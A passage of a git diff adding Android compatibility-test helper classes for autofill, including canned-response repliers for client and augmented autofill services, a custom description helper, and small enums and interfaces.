+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.TestNameUtils;
+
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+
+/**
+ * Implements an {@link AutofillRequestCallback} for testing client suggestions behavior.
+ */
+public class ClientAutofillRequestCallback implements AutofillRequestCallback {
+    private static final String TAG = "ClientAutofillRequestCallback";
+    private final Handler mHandler;
+    private final @NonNull Function<String, AutofillId> mIdResolver;
+    private final Replier mReplier;
+
+    public ClientAutofillRequestCallback(@NonNull  Handler handler,
+            @NonNull Function<String, AutofillId> idResolver) {
+        mHandler = handler;
+        mIdResolver = idResolver;
+        mReplier = new Replier(mIdResolver);
+    }
+
+    @Override
+    public void onFillRequest(InlineSuggestionsRequest inlineSuggestionsRequest,
+            CancellationSignal cancellationSignal, FillCallback callback) {
+
+        if (!TestNameUtils.isRunningTest()) {
+            Log.e(TAG, "onFillRequest(client) called after tests finished");
+            return;
+        }
+
+        mHandler.post(
+                () -> mReplier.onFillRequest(
+                        cancellationSignal, callback, inlineSuggestionsRequest));
+    }
+
+    public Replier getReplier() {
+        return mReplier;
+    }
+
+
+    /**
+     * Object used to answer a
+     * {@link AutofillRequestCallback#onFillRequest(InlineSuggestionsRequest, CancellationSignal,
+     * FillCallback)}
+     * on behalf of a unit test method.
+     */
+    public static final class Replier {
+        // TODO: refactor with InstrumentedAutoFillService$Replier
+
+        private final BlockingQueue<CannedFillResponse> mResponses = new LinkedBlockingQueue<>();
+        private final BlockingQueue<InlineSuggestionsRequest> mFillRequests =
+                new LinkedBlockingQueue<>();
+
+        private List<Throwable> mExceptions;
+        private IntentSender mOnSaveIntentSender;
+        private String mAcceptedPackageName;
+
+        private Handler mHandler;
+
+        private boolean mReportUnhandledFillRequest = true;
+        private boolean mReportUnhandledSaveRequest = true;
+        private final @NonNull Function<String, AutofillId> mIdResolver;
+
+        private Replier(@NonNull Function<String, AutofillId> idResolver) {
+            mIdResolver = idResolver;
+        }
+
+        public void acceptRequestsFromPackage(String packageName) {
+            mAcceptedPackageName = packageName;
+        }
+
+        /**
+         * Gets the exceptions thrown asynchronously, if any.
+         */
+        @Nullable
+        public List<Throwable> getExceptions() {
+            return mExceptions;
+        }
+
+        private void addException(@Nullable Throwable e) {
+            if (e == null) return;
+
+            if (mExceptions == null) {
+                mExceptions = new ArrayList<>();
+            }
+            mExceptions.add(e);
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest} as {@link FillResponse} with
+         * just one {@link Dataset}.
+         */
+        public Replier addResponse(
+                CannedFillResponse.CannedDataset dataset) {
+            return addResponse(new CannedFillResponse.Builder()
+                    .addDataset(dataset)
+                    .build());
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest}.
+         */
+        public Replier addResponse(CannedFillResponse response) {
+            if (response == null) {
+                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
+            }
+            mResponses.add(response);
+            return this;
+        }
+
+        /**
+         * Sets the {@link IntentSender} that is passed to
+         * {@link SaveCallback#onSuccess(IntentSender)}.
+         */
+        public Replier setOnSave(IntentSender intentSender) {
+            mOnSaveIntentSender = intentSender;
+            return this;
+        }
+
+        /**
+         * Gets the next fill request, in the order received.
+         */
+        public InlineSuggestionsRequest getNextFillRequest() {
+            InlineSuggestionsRequest request;
+            try {
+                request = mFillRequests.poll(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                throw new RetryableException(FILL_TIMEOUT, "onFillRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Assets the client had received fill request.
+         */
+        public void assertReceivedRequest() {
+            getNextFillRequest();
+        }
+
+        /**
+         * Asserts that {@link AutofillRequestCallback#onFillRequest(InlineSuggestionsRequest,
+         * CancellationSignal, FillCallback)} was not called.
+         *
+         * <p>Should only be called in cases where it's not expected to be called, as it will
+         * sleep for a few ms.
+         */
+        public void assertOnFillRequestNotCalled() {
+            SystemClock.sleep(FILL_TIMEOUT.getMaxValue());
+            assertThat(mFillRequests).isEmpty();
+        }
+
+        /**
+         * Asserts all {@link AutofillService#onFillRequest(
+         * android.service.autofill.FillRequest,  CancellationSignal, FillCallback) fill requests}
+         * received by the service were properly {@link #getNextFillRequest() handled} by the test
+         * case.
+         */
+        public void assertNoUnhandledFillRequests() {
+            if (mFillRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledFillRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
+                        + "but logging just in case: " + mFillRequests);
+                return;
+            }
+
+            mReportUnhandledFillRequest = false;
+            throw new AssertionError(mFillRequests.size()
+                    + " unhandled fill requests: " + mFillRequests);
+        }
+
+        /**
+         * Gets the current number of unhandled requests.
+         */
+        public int getNumberUnhandledFillRequests() {
+            return mFillRequests.size();
+        }
+
+        public void setHandler(Handler handler) {
+            mHandler = handler;
+        }
+
+        /**
+         * Resets its internal state.
+         */
+        public void reset() {
+            mResponses.clear();
+            mFillRequests.clear();
+            mExceptions = null;
+            mOnSaveIntentSender = null;
+            mAcceptedPackageName = null;
+            mReportUnhandledFillRequest = true;
+            mReportUnhandledSaveRequest = true;
+        }
+
+        public void onFillRequest(CancellationSignal cancellationSignal, FillCallback callback,
+                InlineSuggestionsRequest inlineSuggestionsRequest) {
+            try {
+                CannedFillResponse response = null;
+                try {
+                    response = mResponses.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.w(TAG, "Interrupted getting CannedResponse: " + e);
+                    Thread.currentThread().interrupt();
+                    addException(e);
+                    return;
+                }
+                if (response == null) {
+                    Log.d(TAG, "response is null");
+                    return;
+                }
+                if (response.getResponseType() == NULL) {
+                    Log.d(TAG, "onFillRequest(): replying with null");
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                if (response.getResponseType() == TIMEOUT) {
+                    Log.d(TAG, "onFillRequest(): not replying at all");
+                    return;
+                }
+
+                if (response.getResponseType() == FAILURE) {
+                    Log.d(TAG, "onFillRequest(): replying with failure");
+                    callback.onFailure("D'OH!");
+                    return;
+                }
+
+                if (response.getResponseType() == CannedFillResponse.ResponseType.NO_MORE) {
+                    Log.w(TAG, "onFillRequest(): replying with null when not expecting more");
+                    addException(new IllegalStateException("got unexpected request"));
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                final String failureMessage = response.getFailureMessage();
+                if (failureMessage != null) {
+                    Log.v(TAG, "onFillRequest(): failureMessage = " + failureMessage);
+                    callback.onFailure(failureMessage);
+                    return;
+                }
+
+                final FillResponse fillResponse;
+                fillResponse = response.asFillResponseWithAutofillId(null, mIdResolver);
+
+                if (response.getResponseType() == CannedFillResponse.ResponseType.DELAY) {
+                    mHandler.postDelayed(() -> {
+                        Log.v(TAG,
+                                "onFillRequest(): fillResponse = " + fillResponse);
+                        callback.onSuccess(fillResponse);
+                        // Add a fill request to let test case know response was sent.
+                        Helper.offer(mFillRequests, inlineSuggestionsRequest,
+                                CONNECTION_TIMEOUT.ms());
+                    }, RESPONSE_DELAY_MS);
+                } else {
+                    Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
+                    callback.onSuccess(fillResponse);
+                }
+            } catch (Throwable t) {
+                Log.d(TAG, "onFillRequest(): catch a Throwable: " + t);
+                addException(t);
+            } finally {
+                Helper.offer(mFillRequests, inlineSuggestionsRequest, CONNECTION_TIMEOUT.ms());
+            }
+        }
+
+        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+                List<String> datasetIds) {
+            Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
+
+            try {
+                if (mOnSaveIntentSender != null) {
+                    callback.onSuccess(mOnSaveIntentSender);
+                } else {
+                    callback.onSuccess();
+                }
+            } finally {
+                //TODO
+            }
+        }
+
+        private void dump(PrintWriter pw) {
+            pw.print("mResponses: "); pw.println(mResponses);
+            pw.print("mFillRequests: "); pw.println(mFillRequests);
+            pw.print("mExceptions: "); pw.println(mExceptions);
+            pw.print("mOnSaveIntentSender: "); pw.println(mOnSaveIntentSender);
+            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
+            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
+            pw.print("mReportUnhandledFillRequest: "); pw.println(mReportUnhandledSaveRequest);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CtsAugmentedAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CtsAugmentedAutofillService.java
new file mode 100644
index 0000000..5810c11
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CtsAugmentedAutofillService.java
@@ -0,0 +1,442 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.await;
+import static android.autofillservice.cts.testcore.AugmentedHelper.getActivityName;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_CONNECTION_TIMEOUT;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.AugmentedResponseType.NULL;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.AugmentedResponseType.TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.FILL_EVENTS_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.SystemClock;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.augmented.AugmentedAutofillService;
+import android.service.autofill.augmented.FillCallback;
+import android.service.autofill.augmented.FillController;
+import android.service.autofill.augmented.FillRequest;
+import android.service.autofill.augmented.FillResponse;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.TestNameUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Implementation of {@link AugmentedAutofillService} used in the tests.
+ */
+public class CtsAugmentedAutofillService extends AugmentedAutofillService {
+
+    private static final String TAG = CtsAugmentedAutofillService.class.getSimpleName();
+
+    public static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
+    public static final String SERVICE_CLASS = CtsAugmentedAutofillService.class.getSimpleName();
+
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.testcore." + SERVICE_CLASS;
+
+    private static final AugmentedReplier sAugmentedReplier = new AugmentedReplier();
+
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyAugmentedServiceThread");
+    private final Handler mHandler;
+
+    private final CountDownLatch mConnectedLatch = new CountDownLatch(1);
+    private final CountDownLatch mDisconnectedLatch = new CountDownLatch(1);
+
+    private static ServiceWatcher sServiceWatcher;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
+    public CtsAugmentedAutofillService() {
+        mHandler = Handler.createAsync(sMyThread.getLooper());
+    }
+
+    @NonNull
+    public static ServiceWatcher setServiceWatcher() {
+        if (sServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+        sServiceWatcher = new ServiceWatcher();
+        return sServiceWatcher;
+    }
+
+
+    public static void resetStaticState() {
+        List<Throwable> exceptions = sAugmentedReplier.mExceptions;
+        if (exceptions != null) {
+            exceptions.clear();
+        }
+        // TODO(b/123540602): should probably set sInstance to null as well, but first we would need
+        // to make sure each test unbinds the service.
+
+        // TODO(b/123540602): each test should use a different service instance, but we need
+        // to provide onConnected() / onDisconnected() methods first and then change the infra so
+        // we can wait for those
+
+        if (sServiceWatcher != null) {
+            Log.wtf(TAG, "resetStaticState(): should not have sServiceWatcher");
+            sServiceWatcher = null;
+        }
+    }
+
+    @Override
+    public void onConnected() {
+        Log.i(TAG, "onConnected(): sServiceWatcher=" + sServiceWatcher);
+
+        if (sServiceWatcher == null) {
+            addException("onConnected() without a watcher");
+            return;
+        }
+
+        if (sServiceWatcher.mService != null) {
+            addException("onConnected(): already created: %s", sServiceWatcher);
+            return;
+        }
+
+        sServiceWatcher.mService = this;
+        sServiceWatcher.mCreated.countDown();
+
+        Log.d(TAG, "Whitelisting " + Helper.MY_PACKAGE + " for augmented autofill");
+        final ArraySet<String> packages = new ArraySet<>(1);
+        packages.add(Helper.MY_PACKAGE);
+
+        final AutofillManager afm = getApplication().getSystemService(AutofillManager.class);
+        if (afm == null) {
+            addException("No AutofillManager on application context on onConnected()");
+            return;
+        }
+        afm.setAugmentedAutofillWhitelist(packages, /* activities= */ null);
+
+        if (mConnectedLatch.getCount() == 0) {
+            addException("already connected: %s", mConnectedLatch);
+        }
+        mConnectedLatch.countDown();
+    }
+
+    @Override
+    public void onDisconnected() {
+        Log.i(TAG, "onDisconnected(): sServiceWatcher=" + sServiceWatcher);
+
+        if (mDisconnectedLatch.getCount() == 0) {
+            addException("already disconnected: %s", mConnectedLatch);
+        }
+        mDisconnectedLatch.countDown();
+
+        if (sServiceWatcher == null) {
+            addException("onDisconnected() without a watcher");
+            return;
+        }
+        if (sServiceWatcher.mService == null) {
+            addException("onDisconnected(): no service on %s", sServiceWatcher);
+            return;
+        }
+
+        sServiceWatcher.mDestroyed.countDown();
+        sServiceWatcher.mService = null;
+        sServiceWatcher = null;
+    }
+
+    public FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
+        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
+            final FillEventHistory history = getFillEventHistory();
+            if (history == null) {
+                return null;
+            }
+            final List<Event> events = history.getEvents();
+            if (events != null) {
+                assertWithMessage("Didn't get " + expectedSize + " events yet: " + events).that(
+                        events.size()).isEqualTo(expectedSize);
+            } else {
+                assertWithMessage("Events is null (expecting " + expectedSize + ")").that(
+                        expectedSize).isEqualTo(0);
+                return null;
+            }
+            return history;
+        });
+    }
+
+    /**
+     * Waits until the system calls {@link #onConnected()}.
+     */
+    public void waitUntilConnected() throws InterruptedException {
+        await(mConnectedLatch, "not connected");
+    }
+
+    /**
+     * Waits until the system calls {@link #onDisconnected()}.
+     */
+    public void waitUntilDisconnected() throws InterruptedException {
+        await(mDisconnectedLatch, "not disconnected");
+    }
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillController controller, FillCallback callback) {
+        Log.i(TAG, "onFillRequest(): " + AugmentedHelper.toString(request));
+
+        final ComponentName component = request.getActivityComponent();
+
+        if (!TestNameUtils.isRunningTest()) {
+            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
+            return;
+        }
+        mHandler.post(() -> sAugmentedReplier.handleOnFillRequest(getApplicationContext(), request,
+                cancellationSignal, controller, callback));
+    }
+
+    /**
+     * Gets the {@link AugmentedReplier} singleton.
+     */
+    public static AugmentedReplier getAugmentedReplier() {
+        return sAugmentedReplier;
+    }
+
+    private static void addException(@NonNull String fmt, @Nullable Object...args) {
+        final String msg = String.format(fmt, args);
+        Log.e(TAG, msg);
+        sAugmentedReplier.addException(new IllegalStateException(msg));
+    }
+
+    /**
+     * POJO representation of the contents of a {@link FillRequest}
+     * that can be asserted at the end of a test case.
+     */
+    public static final class AugmentedFillRequest {
+        public final FillRequest request;
+        public final CancellationSignal cancellationSignal;
+        public final FillController controller;
+        public final FillCallback callback;
+
+        private AugmentedFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+                FillController controller, FillCallback callback) {
+            this.request = request;
+            this.cancellationSignal = cancellationSignal;
+            this.controller = controller;
+            this.callback = callback;
+        }
+
+        @Override
+        public String toString() {
+            return "AugmentedFillRequest[activity=" + getActivityName(request) + ", request="
+                    + AugmentedHelper.toString(request) + "]";
+        }
+    }
+
+    /**
+     * Object used to answer a
+     * {@link AugmentedAutofillService#onFillRequest(FillRequest, CancellationSignal,
+     * FillController, FillCallback)} on behalf of a unit test method.
+     */
+    public static final class AugmentedReplier {
+
+        private final BlockingQueue<CannedAugmentedFillResponse> mResponses =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<AugmentedFillRequest> mFillRequests =
+                new LinkedBlockingQueue<>();
+
+        private List<Throwable> mExceptions;
+        private boolean mReportUnhandledFillRequest = true;
+
+        private AugmentedReplier() {
+        }
+
+        /**
+         * Gets the exceptions thrown asynchronously, if any.
+         */
+        @Nullable
+        public List<Throwable> getExceptions() {
+            return mExceptions;
+        }
+
+        private void addException(@Nullable Throwable e) {
+            if (e == null) return;
+
+            if (mExceptions == null) {
+                mExceptions = new ArrayList<>();
+            }
+            mExceptions.add(e);
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest}.
+         */
+        public AugmentedReplier addResponse(@NonNull CannedAugmentedFillResponse response) {
+            if (response == null) {
+                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
+            }
+            mResponses.add(response);
+            return this;
+        }
+        /**
+         * Gets the next fill request, in the order received.
+         */
+        public AugmentedFillRequest getNextFillRequest() {
+            AugmentedFillRequest request;
+            try {
+                request = mFillRequests.poll(AUGMENTED_FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                throw new RetryableException(AUGMENTED_FILL_TIMEOUT, "onFillRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Asserts all {@link AugmentedAutofillService#onFillRequest(FillRequest,
+         * CancellationSignal, FillController, FillCallback)} received by the service were properly
+         * {@link #getNextFillRequest() handled} by the test case.
+         */
+        public void assertNoUnhandledFillRequests() {
+            if (mFillRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledFillRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
+                        + "but logging just in case: " + mFillRequests);
+                return;
+            }
+
+            mReportUnhandledFillRequest = false;
+            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
+                    + mFillRequests);
+        }
+
+        /**
+         * Gets the current number of unhandled requests.
+         */
+        public int getNumberUnhandledFillRequests() {
+            return mFillRequests.size();
+        }
+
+        /**
+         * Resets its internal state.
+         */
+        public void reset() {
+            mResponses.clear();
+            mFillRequests.clear();
+            mExceptions = null;
+            mReportUnhandledFillRequest = true;
+        }
+
+        private void handleOnFillRequest(@NonNull Context context, @NonNull FillRequest request,
+                @NonNull CancellationSignal cancellationSignal, @NonNull FillController controller,
+                @NonNull FillCallback callback) {
+            final AugmentedFillRequest myRequest = new AugmentedFillRequest(request,
+                    cancellationSignal, controller, callback);
+            Log.d(TAG, "offering " + myRequest);
+            Helper.offer(mFillRequests, myRequest, AUGMENTED_CONNECTION_TIMEOUT.ms());
+            try {
+                final CannedAugmentedFillResponse response;
+                try {
+                    response = mResponses.poll(AUGMENTED_CONNECTION_TIMEOUT.ms(),
+                            TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.w(TAG, "Interrupted getting CannedAugmentedFillResponse: " + e);
+                    Thread.currentThread().interrupt();
+                    addException(e);
+                    return;
+                }
+                if (response == null) {
+                    Log.w(TAG, "onFillRequest() for " + getActivityName(request)
+                            + " received when no canned response was set.");
+                    return;
+                }
+
+                // sleep for timeout tests.
+                final long delay = response.getDelay();
+                if (delay > 0) {
+                    SystemClock.sleep(response.getDelay());
+                }
+
+                if (response.getResponseType() == NULL) {
+                    Log.d(TAG, "onFillRequest(): replying with null");
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                if (response.getResponseType() == TIMEOUT) {
+                    Log.d(TAG, "onFillRequest(): not replying at all");
+                    return;
+                }
+
+                Log.v(TAG, "onFillRequest(): response = " + response);
+                final FillResponse fillResponse = response.asFillResponse(context, request,
+                        controller);
+                Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
+                callback.onSuccess(fillResponse);
+            } catch (Throwable t) {
+                addException(t);
+            }
+        }
+    }
+
+    public static final class ServiceWatcher {
+
+        private final CountDownLatch mCreated = new CountDownLatch(1);
+        private final CountDownLatch mDestroyed = new CountDownLatch(1);
+
+        private CtsAugmentedAutofillService mService;
+
+        @NonNull
+        public CtsAugmentedAutofillService waitOnConnected() throws InterruptedException {
+            await(mCreated, "not created");
+
+            if (mService == null) {
+                throw new IllegalStateException("not created");
+            }
+
+            return mService;
+        }
+
+        public void waitOnDisconnected() throws InterruptedException {
+            await(mDestroyed, "not destroyed");
+        }
+
+        @Override
+        public String toString() {
+            return "mService: " + mService + " created: " + (mCreated.getCount() == 0)
+                    + " destroyed: " + (mDestroyed.getCount() == 0);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CustomDescriptionHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CustomDescriptionHelper.java
new file mode 100644
index 0000000..be88bf6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CustomDescriptionHelper.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.autofillservice.cts.R;
+import android.service.autofill.CustomDescription;
+import android.widget.RemoteViews;
+
+public final class CustomDescriptionHelper {
+
+    public static final String ID_SHOW = "show";
+    public static final String ID_HIDE = "hide";
+    public static final String ID_USERNAME_PLAIN = "username_plain";
+    public static final String ID_USERNAME_MASKED = "username_masked";
+    public static final String ID_PASSWORD_PLAIN = "password_plain";
+    public static final String ID_PASSWORD_MASKED = "password_masked";
+
+    private static final String sPackageName =
+            getInstrumentation().getTargetContext().getPackageName();
+
+
+    public static CustomDescription.Builder newCustomDescriptionWithUsernameAndPassword() {
+        return new CustomDescription.Builder(new RemoteViews(sPackageName,
+                R.layout.custom_description_with_username_and_password));
+    }
+
+    public static CustomDescription.Builder newCustomDescriptionWithHiddenFields() {
+        return new CustomDescription.Builder(new RemoteViews(sPackageName,
+                R.layout.custom_description_with_hidden_fields));
+    }
+
+    private CustomDescriptionHelper() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/DismissType.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/DismissType.java
new file mode 100644
index 0000000..97a053a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/DismissType.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+/**
+ * A simple enum for test cases where the Save UI is dismissed.
+ *
+ * <p><b>Note:</b> When new values are added to the enum, the equivalent tests must be added to
+ * both {@link LoginActivityTest} and {@link SimpleSaveActivityTest}.
+ */
+public enum DismissType {
+    BACK_BUTTON,
+    HOME_BUTTON,
+    TOUCH_OUTSIDE,
+    FOCUS_OUTSIDE
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/DoubleVisitor.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/DoubleVisitor.java
new file mode 100644
index 0000000..9f788d7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/DoubleVisitor.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import androidx.annotation.NonNull;
+
+/**
+ * Implements the Visitor design pattern to visit 2 related objects (like a view and the activity
+ * hosting it).
+ *
+ * @param <V1> 1st visited object
+ * @param <V2> 2nd visited object
+ */
+// TODO: move to common
+public interface DoubleVisitor<V1, V2> {
+
+    /**
+     * Visit those objects.
+     */
+    void visit(@NonNull V1 visited1, @NonNull V2 visited2);
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
new file mode 100644
index 0000000..46a613f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -0,0 +1,1611 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.UiBot.PORTRAIT;
+import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.SELECTED_INPUT_METHOD_SUBTYPE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
+import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASETS_SHOWN;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.app.assist.AssistStructure.WindowNode;
+import android.autofillservice.cts.R;
+import android.content.AutofillOptions;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.icu.util.Calendar;
+import android.os.Bundle;
+import android.os.Environment;
+import android.provider.Settings;
+import android.service.autofill.FieldClassification;
+import android.service.autofill.FieldClassification.Match;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.InlinePresentation;
+import android.text.TextUtils;
+import android.util.Log;
+import android.util.Pair;
+import android.util.Size;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewStructure.HtmlInfo;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillManager.AutofillCallback;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+import android.widget.RemoteViews;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.autofill.inline.v1.InlineSuggestionUi;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.OneTimeSettingsListener;
+import com.android.compatibility.common.util.SettingsUtils;
+import com.android.compatibility.common.util.ShellUtils;
+import com.android.compatibility.common.util.TestNameUtils;
+import com.android.compatibility.common.util.Timeout;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
